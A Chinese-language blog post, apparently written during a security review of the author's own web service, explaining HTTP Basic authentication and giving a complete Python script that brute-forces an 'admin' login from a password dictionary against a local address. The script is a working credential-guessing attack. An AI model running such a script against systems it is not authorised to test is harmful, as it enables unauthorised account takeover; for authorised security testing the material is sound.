Python脚本暴力破解web登录
来源:互联网 发布:相册书制作软件 编辑:程序博客网 时间:2024/06/15 21:43
最近做项目,需要对一个Web服务分析其安全性,做安全加固。发现其web登录界面不限制密码输入次数,且没有验证码,就想到暴力破解web登录。
一、HTTP Basic认证
web应用可以通过表单提交用户名和密码,也可以通过Basic基本认证来提交,通过fiddler抓包分析,发现我要暴力破解的web登录是通过Basic基本认证来提交用户名和密码的。
Basic基本认证是把“username:passwd”做base64编码之后,放在http header的Authorization字段,实现认证登录。
二、暴力破解
暴力破解的思路很简单,就是一条一条尝试字典中地密码直到破解成功或者字典尝试完也没有破解成功。
python脚本提供了"HTTPBasicAuth"模块,让我们可以很方便的发送basic认证请求。完整的暴力破解代码如下:
import sysimport requestsfrom requests.auth import HTTPBasicAuthdef Brute_Force_Web(username,password): res=requests.get('http://192.168.1.113:8080/api/v1/login', auth=(username, password)); if res.status_code == 200: print ("Crack Sucess!"); print ("password:"+password); exit(); else: print (res.status_code);def GetPass(): fp = open("password.txt","r") if fp == 0: print ("open file error!") return; while 1: line = fp.readline() if not line: break passwd = line.strip('\n') Brute_Force_Web("admin",passwd); GetPass();
(注意:由于Python 3和Python 2不兼容,请使用Python 3来测试上面的代码)
三、测试总结
测试过程中发现测试字典中一条密码的时间大概要10s左右,猜想可能是web服务的相应较慢。
0 0
- Python脚本暴力破解web登录
- 使用hydra暴力破解web登录界面
- 暴力破解脚本
- 暴力破解脚本 shell
- python zip暴力破解
- python暴力破解MD5
- 暴力破解ssh远程登录
- python自动登录SSH(暴力破解局网LINUX服务器登录密码)
- MD5暴力破解程序(python)
- wordpress后台暴力破解(python)
- Python暴力破解的收集
- Python实现FTP暴力破解
- Python之暴力破解SSH
- Linux登录暴力破解工具 hydra
- 暴力破解黄巴登录网站
- shell脚本防ssh/vsftpd暴力破解
- linux帐号防暴力破解脚本
- 利用denyhosts防止ssh暴力破解+脚本防破解
- HDU-ACM2083
- 聊聊计算机中的编码(Unicode,GBK,ASCII,utf8,utf16,ISO8859-1等)以及乱码问题的解决办法
- Hibernate运行报错Unknown entity: domain.UserBean
- ZOJ 3328 Wu Xing
- 开源C++库:ACE及其安装使用
- Python脚本暴力破解web登录
- 《剑指offer》 02 单例模式
- 使用CMD 命令 ping 某段IP并保存到文件中
- HDU-ACM2085
- 谈谈墨迹天气app v5.8.4的用户体验2
- 解析xml
- ReentrantLock使用Condition实现通知部分线程
- HDU-ACM2086
- Android中的多进程模式